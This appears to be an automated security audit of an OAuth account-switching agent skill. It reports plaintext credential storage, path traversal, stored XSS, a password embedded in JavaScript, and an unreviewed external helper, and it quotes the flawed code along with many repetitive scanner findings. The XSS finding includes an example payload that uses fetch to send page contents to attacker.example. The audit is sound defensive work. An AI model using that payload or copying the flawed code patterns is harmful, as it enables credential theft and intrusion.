Back to skill

Security audit

OpenAI Auth Switcher Public

Security checks for vulnerabilities and agentic risk

Overview

The skill has a legitimate account-switching purpose, but it gives a persistent local web service high-impact OAuth/account authority with insecure credential handling and an unreviewed external OAuth helper.

Review carefully before installing. Use only on a trusted, single-user admin machine, keep the service bound to 127.0.0.1 behind an SSH tunnel, do not reuse the generated password, and treat all OAuth/profile files as secrets. Production use should wait for fixes to credential storage, password rendering, path validation, HTML escaping, minimal environment passing, and packaging of the OAuth helper inside the reviewed skill.

Vulnerability Patterns
  • Tool Hijacking and SpoofingModifies or replaces tools so legitimate-looking calls execute attacker logic
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
service/config.py:22
Finding
Plaintext administrative and OAuth credentials are stored and exposed without restrictive file permissions<![CDATA[ ## Vulnerability Details **File Location**: `service/config.py:22-33`, `scripts/auth_file_lib.py:35-39`, `scripts/install_web_app.py:118-150` **Vulnerability Type**: Plaintext secret storage and disclosure **Risk Level**: High ### Technical Analysis The generated web-administration password is stored directly in `install-info.json`, while OAuth profiles are written to JSON files through a generic write operation. Neither operation explicitly creates the files with owner-only permissions. ```python def save_install_info(data: JsonDict) -> None: ensure_skill_dirs() INSTALL_INFO_PATH.write_text( json.dumps(data, ensure_ascii=False, indent=2) + '\n', encoding='utf-8', ) ``` ```python def save_json_atomic(path: Path, data: JsonDict) -> None: tmp_path = path.with_suffix(path.suffix + '.tmp') tmp_path.write_text( json.dumps(data, ensure_ascii=False, indent=2) + '\n', encoding='utf-8', ) tmp_path.replace(path) ``` The installation result contains and prints the plaintext password: ```python install_info = { 'ok': True, 'host': args.host, 'port': port, 'username': creds['username'], 'password': creds['password'], # ... } save_install_info(install_info) # ... print(f"Username: {creds['username']}") print(f"Password: {creds['password']}") ``` The resulting permissions depend entirely on the caller's umask. Under a common `0022` umask, newly created files can be readable by other local users. The same issue affects temporary OAuth profile files and other JSON state files created elsewhere through unrestricted `write_text()` calls. Printing the password is useful for first-run access, but it also places the secret in terminal capture, installation logs, automation output, and agent tool output. Persistent plaintext storage is needed only if Basic Authentication remains the design; broad file readability is not necessary for the declared functionality. ### Attack Path 1. ...[truncated 1305 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Create state directories with mode `0700`. - Create credential, callback, profile, and backup files with mode `0600`, independent of the process umask. - Use `os.open()` with `O_CREAT | O_EXCL` and an explicit `0o600` mode for temporary secret files. - After atomic replacement, explicitly verify and enforce the destination mode. - Set a restrictive umask such as `0o077` before creating any runtime state. - Avoid printing the full password in JSON or normal output. Prefer a one-time interactive display or an explicit `--show-password` option. - Prevent passwords from entering service logs and agent-visible command output. - Consider storing a salted password hash rather than the recoverable web password. - Apply the same permissions policy to OAuth sessions, callbacks, profile slots, token ledgers, and backups. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
service/channel_store.py:116
Finding
Unvalidated slot and OAuth session identifiers permit filesystem path traversal<![CDATA[ ## Vulnerability Details **File Location**: `service/channel_store.py:116-135`, `service/oauth_flow.py:58-59`, `service/oauth_flow.py:122-127` **Vulnerability Type**: Path traversal and unintended filesystem access **Risk Level**: Medium ### Technical Analysis User-controlled slot identifiers are appended directly to the profile directory without validation or a containment check: ```python def import_channel_auth(slot: str, source: str) -> JsonDict: ensure_channel_state() slot_dir = get_profiles_dir() / slot auth_path = slot_dir / 'auth-profile.json' meta_path = slot_dir / 'meta.json' if not slot_dir.exists(): raise RuntimeError(f'channel not found: {slot}') src = Path(source).expanduser().resolve() if not src.exists(): raise RuntimeError(f'授权文件不存在: {src}') data = load_json_file(src) profile = ((data.get('profiles') or {}).get(OPENAI_PROFILE_KEY)) if 'profiles' in data else data if not isinstance(profile, dict): raise RuntimeError('授权文件格式不正确,缺少 openai-codex:default 或 profile 对象') save_json_atomic(auth_path, profile) meta = _load_json(meta_path, {}) if meta_path.exists() else {} meta['account_id'] = profile.get('accountId') meta['provider'] = profile.get('provider') or 'openai-codex' meta['status'] = 'ready' _save_json(meta_path, meta) ``` A value such as `../../some-existing-directory` causes `slot_dir` to resolve outside the intended profile area. The target only has to be an existing directory. OAuth session identifiers have the same weakness: ```python def oauth_session_dir(session_id: str) -> Path: return STATE_DIR / 'oauth-sessions' / session_id ``` ```python def submit_oauth_callback(session_id: str, callback_url: str) -> JsonDict: session_dir = oauth_session_dir(session_id) if not session_dir.exists(): return {'ok': False, 'error': f'session not found: {session_id}'} (session_dir / 'callback.txt').write_text( callback_u ...[truncated 2222 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Restrict slot names to a conservative expression such as `^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$`. - Restrict session IDs to the generated format, such as exactly 16 lowercase hexadecimal characters. - Resolve both the base directory and candidate path, then verify containment with `candidate.is_relative_to(base)` before any access. - Reject absolute paths, `.` and `..` components, path separators, NUL characters, and symlink escapes. - Use server-generated opaque identifiers rather than accepting arbitrary filesystem-related names. - Open sensitive files with no-follow semantics where supported. - Add regression tests for traversal strings, absolute paths, encoded separators, nested symlinks, and mixed path separators. - Apply the same validation to CLI operations in `scripts/profile_slot.py`. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
service/app.py:40
Finding
Stored HTML and JavaScript injection through unescaped channel and runtime data<![CDATA[ ## Vulnerability Details **File Location**: `service/app.py:40-69` **Vulnerability Type**: Stored cross-site scripting **Risk Level**: Medium ### Technical Analysis The web interface constructs HTML by directly interpolating values loaded from persistent channel and OAuth state: ```python oauth_session_items = ''.join( f"<div class='oauth-session-item'><div><strong>{item.get('displayName') or item.get('slot')}</strong></div><div class='muted'>状态:{oauth_status_label(item.get('status'))} · 通道:{item.get('slot')}</div><div class='muted'>任务ID:{item.get('sessionId')}</div></div>" for item in reversed(oauth_sessions[-5:]) ) or "<div class='muted'>暂无授权任务</div>" # ... channel_items = ''.join( f"<div class='channel-item'><div><div class='channel-title'>{row.get('display_name') or row.get('slot')}</div><div class='muted'>通道标识:{row.get('slot')} · 状态:{'已授权' if row.get('has_auth_file') else '待授权'} · {'当前通道' if row.get('is_current') else '未选中'}</div><div class='muted'>账号ID:{row.get('account_id') or '未配置'}</div></div><div class='toolbar'><button type='button' class='activate-channel-btn' data-slot='{row.get('slot')}'>设为当前</button><button type='button' class='oauth-start-btn' data-slot='{row.get('slot')}' data-name='{row.get('display_name') or row.get('slot')}'>开始授权</button><button type='button' class='oauth-finish-btn' data-slot='{row.get('slot')}'>完成授权</button></div></div>" for row in channels ) or "<div class='muted'>暂无通道</div>" ``` Values are inserted into both element content and single-quoted HTML attributes without contextual encoding. A display name such as: ```html '><img src=x onerror="fetch('https://attacker.example/?d='+encodeURIComponent(document.documentElement.innerHTML))"> ``` can terminate an attribute or create a new executable element. The affected values can originate from channel creation, profile metadata, imported state, or OAuth session files. Because this is persisted data, the payload executes whenever an administrator loads t ...[truncated 1743 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Stop assembling HTML with interpolated persistent values. - Serve the static UI and populate it using DOM APIs such as `textContent`. - If server-side rendering remains necessary, apply `html.escape(value, quote=True)` to every untrusted value. - Encode element text and attribute values according to their distinct contexts. - Validate slot, session, status, and account identifiers against strict allowlists. - Add a restrictive Content Security Policy that disallows inline script and outbound connections by default. - Add automated tests using payloads that target element content, quoted attributes, event handlers, and closing tags. - Treat all state files as untrusted input, even if they are normally generated locally. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
service/app.py:283
Finding
Administrative password is embedded in client-side JavaScript and reused over plaintext HTTP Basic Authentication<![CDATA[ ## Vulnerability Details **File Location**: `service/app.py:283-287` **Vulnerability Type**: Client-side credential exposure and insecure authentication transport **Risk Level**: High ### Technical Analysis The management page embeds the complete username and password into its JavaScript and Base64-encodes them for every API call: ```javascript const API_BASE = window.location.origin; const BASIC_AUTH = 'Basic ' + btoa('{username}:{password}'); async function apiFetch(path, options = {}) { const headers = Object.assign( {}, options.headers || {}, { 'Authorization': BASIC_AUTH } ); return fetch(API_BASE + path, Object.assign({}, options, { headers })); } ``` Base64 is not encryption. Anyone able to read the page source, inspect browser developer tools, capture browser state, or execute same-origin script can recover the password immediately. Embedding the password in the returned page is not required for HTTP Basic Authentication. After the browser has authenticated to retrieve the page, API endpoints can rely on the browser's normal authentication behavior or, preferably, a secure session mechanism. The service URL is built with `http://`, and the installer accepts an arbitrary `--host`. Although the default is `127.0.0.1` and the documented SSH-tunnel flow protects remote transport, binding the application to a non-loopback address transmits Basic credentials without TLS. The code does not reject or warn against such deployment. This behavior is not a covert exfiltration channel by itself: the header is sent to the same-origin API and supports the declared management function. However, placing the recoverable credential in every HTML response exceeds minimum exposure and materially magnifies the stored-XSS risk. ### Attack Path 1. An administrator starts the service with a non-loopback host, or a local attacker gains access to the authenticated browser context. 2. The administrator authenticates and receives the page contain ...[truncated 942 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Never render the administrative password into HTML or JavaScript. - Replace password recovery with a salted password hash and constant-time verification. - After login, issue a random, short-lived session token in an `HttpOnly`, `Secure`, and `SameSite=Strict` cookie. - Rotate the session identifier after authentication and implement logout and expiration. - Restrict the service to loopback unless TLS is explicitly configured. - Reject non-loopback `--host` values by default or require an explicit unsafe override with a prominent warning. - If remote direct access is supported, require HTTPS and secure certificate configuration. - Add CSRF protections for all state-changing endpoints. - Add `Cache-Control: no-store` to authenticated pages and API responses. - Use `hmac.compare_digest()` for credential verification. ]]>

T07 · Tool Hijacking and Spoofing

Warning
Location
service/oauth_flow.py:89
Finding
OAuth workflow executes an external, unreviewed helper through a spoofable hardcoded tool path<![CDATA[ ## Vulnerability Details **File Location**: `service/oauth_flow.py:89-98` **Vulnerability Type**: External tool trust-boundary violation and executable hijacking **Risk Level**: Medium ### Technical Analysis The public skill starts OAuth by executing a JavaScript helper that is not included in the audited project: ```python env = os.environ.copy() env['PATH'] = '/root/.local/share/pnpm:/root/.nvm/versions/node/v22.22.0/bin:/usr/local/bin:/usr/bin:/bin:' + env.get('PATH', '') subprocess.Popen( [ 'node', str(Path('/root/.openclaw/workspace/skills/openai-auth-switcher/scripts/oauth_web_login.mjs')), str(STATE_DIR), session_id, slot, display_name or slot, ], cwd=str(BASE_DIR), env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True, ) ``` The helper is taken from a separate internal skill directory under `/root/.openclaw/workspace`, contradicting the public package's intended separation from the internal/live skill. Its content and integrity are not controlled by this package. The `node` executable is also selected through a constructed `PATH`, with user-managed installation directories before system directories. There is no executable-path pinning, ownership check, permission check, checksum validation, or signature verification. Because the process handles OAuth authorization URLs, callbacks, and resulting tokens, substituting either `node` or `oauth_web_login.mjs` gives replacement code access to highly sensitive authentication material. The child is detached and both output streams are discarded, reducing operator visibility. ### Attack Path 1. An attacker or compromised installation modifies the external `oauth_web_login.mjs`, replaces a higher-priority `node` executable, or places malicious content at the expected external path. 2. An administrator starts an OAuth flow from the web interface. 3. `start_oauth_session()` launches the extern ...[truncated 1132 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Include the required OAuth helper inside the public skill package and audit it as part of the release. - Resolve helper paths relative to the installed skill rather than `/root`. - Invoke a validated absolute path to the Node.js interpreter. - Verify that executables and helper files are regular files, owned by the expected account, and not group/world-writable. - Optionally verify a packaged checksum or signature before execution. - Do not prepend mutable user installation directories to `PATH` for a security-sensitive subprocess. - Record sanitized subprocess failures rather than discarding all diagnostics. - Avoid detached execution unless required; track and terminate child processes during uninstall. - Run the OAuth helper with the minimum filesystem and process privileges necessary. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (95)

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
Uninstallation logic that stops services, deletes unit files, and removes runtime artifacts is sensitive and can affect availability or destroy forensic/state data. In this context, the danger comes from insufficient disclosure and the possibility of broad cleanup behavior in a skill centered on authentication workflows.

Ae1

High
Category
analysis-evasion
Content
- `scripts/token_ledger.py` — local token attribution ledger rebuild
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Tool Parameter Abuse

High
Category
Tool Misuse
Content
if [[ -f "$STOPPER" ]]; then
  python3 "$STOPPER" >/dev/null 2>&1 || true
fi
rm -f "$RUNTIME_DIR/web-preview.pid" "$RUNTIME_DIR/web-preview.log" || true
if [[ -f "$UNIT_PATH" ]]; then
  rm -f "$UNIT_PATH"
  systemctl --user daemon-reload >/dev/null 2>&1 || true
Confidence
95% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Content
paths import ensure_skill_dirs, get_runtime_dir  # noqa: E402
from pick_port import pick_port  # noqa: E402
from web_process_lib import detect_systemd_user, read_unit_env, systemd_unit_exists, systemd_unit_status, systemd_user_available, wait_for_port, write_unit_file  # noqa: E402


DEFAULT_SYSTEMD_TEMPLATE = """[Unit]\nDescription=OpenAI Auth Switcher Public Web Preview\nAfter=default.target\n\n[Service]\nType=simple\nWorkingDirectory=__WORKSPACE__\nEnvironment=PYTHONUNBUFFERED=1\nEnvironment=OPENAI_AUTH_SWITCHER_HOST=127.0.0.1\nEnvironment=OPENAI_AUTH_SWITCHER_PORT=8765\nExecStart=/usr/bin/env python3 __WORKSPACE__/skills/openai-auth-switcher-public/service/app.py\nRestart=on-failure\nRestartSec=2\n\n[Install]\nWantedBy=default.target\n"""


SYSTEMD_PREVIEW_UNIT = 'openai-auth-switcher-web-preview.service'


def wait_for_systemd_ready(unit_name: str, host: str, port: int, timeout_seconds: float = 20.0, interval_seconds: float = 0.5) -> tuple[bool, dict]:
    deadline = __import__('t
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Env Variable Harvesting

High
Category
Data Exfiltration
Content
log_path = runtime_dir / 'web-preview.log'
    pid_path = runtime_dir / 'web-preview.pid'
    app_path = CURRENT_DIR.parent / 'service' / 'app.py'
    env = os.environ.copy()
    env['OPENAI_AUTH_SWITCHER_HOST'] = host
    env['OPENAI_AUTH_SWITCHER_PORT'] = str(port)
    with log_path.open('a', encoding='utf-8') as log:
Confidence
84% confidence
Finding
Copying the full parent environment into the child web process can propagate unrelated secrets such as API tokens, cloud credentials, proxy auth, or session data into a long-lived service. If the child process, logs, debugging endpoints, crashes, or runtime inspection features expose environment variables, this becomes a credential leakage pathway.

Description-Behavior Mismatch

High
Confidence
92% confidence
Finding
The skill description claims the package is release-safe and avoids bundling live auth snapshots, logs, callbacks, or machine-specific runtime data, but this service intentionally surfaces OAuth session data, callback workflow state, and runtime/log locations through the UI and APIs. This mismatch is dangerous because users may trust the skill as low-risk while it actually handles and reveals sensitive operational data.

Missing User Warnings

High
Confidence
99% confidence
Finding
The generated page embeds the Basic Auth username and password into client-side JavaScript via `const BASIC_AUTH = 'Basic ' + btoa('{username}:{password}')`, making the credential recoverable by any authenticated viewer, browser extension, page capture, or injected script. This defeats the purpose of using Basic Auth as a server-side secret and enables credential reuse for API access and potentially other systems if reused.

Env Variable Harvesting

High
Category
Data Exfiltration
Content
'displayName': display_name or slot,
        'status': 'starting',
    })
    env = os.environ.copy()
    env['PATH'] = '/root/.local/share/pnpm:/root/.nvm/versions/node/v22.22.0/bin:/usr/local/bin:/usr/bin:/bin:' + env.get('PATH', '')
    subprocess.Popen(
        ['node', str((Path('/root/.openclaw/workspace/skills/openai-auth-switcher/scripts/oauth_web_login.mjs'))), str(STATE_DIR), session_id, slot, display_name or slot],
Confidence
60% confidence
Finding
Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Lp3

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding
The skill advertises and coordinates operations that imply shell, file, environment, and possibly network access, but it does not declare any tool scope or permission boundaries in the skill manifest. In an agent setting, missing explicit permissions increases the chance of overbroad execution, unsafe tool invocation, and user confusion about what the skill is allowed to do.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The document sets `lang="zh-CN"` and all visible UI copy is presented in Chinese, indicating a fixed language/locale experience. Under the stated policy, forcing a specific language without user opt-in or a clearly documented region-specific justification is a natural-language policy violation.

Static analysis

No suspicious patterns detected.